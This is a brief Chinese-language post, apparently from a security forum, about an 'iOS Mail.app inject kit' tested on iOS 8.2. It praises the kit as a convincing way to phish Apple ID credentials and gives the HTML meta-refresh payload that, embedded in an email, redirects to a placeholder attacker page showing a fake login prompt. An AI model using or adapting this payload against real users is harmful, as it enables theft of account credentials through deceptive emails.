iOS Mail.app inject kit
from:https://github.com/jansoucek/iOS-Mail.app-inject-kit
测试机:iOS 8.2
发一封邮件。
Apple ID的重要性不言而喻,这种钓鱼手法效果可能比那种什么“丢失模式”邮件效果更逼真
<meta http-equiv=refresh content=0;URL=http://your.domain/mail-inject/index.php?modal-username=research@subject.tld />
http://zone.wooyun.org/content/20941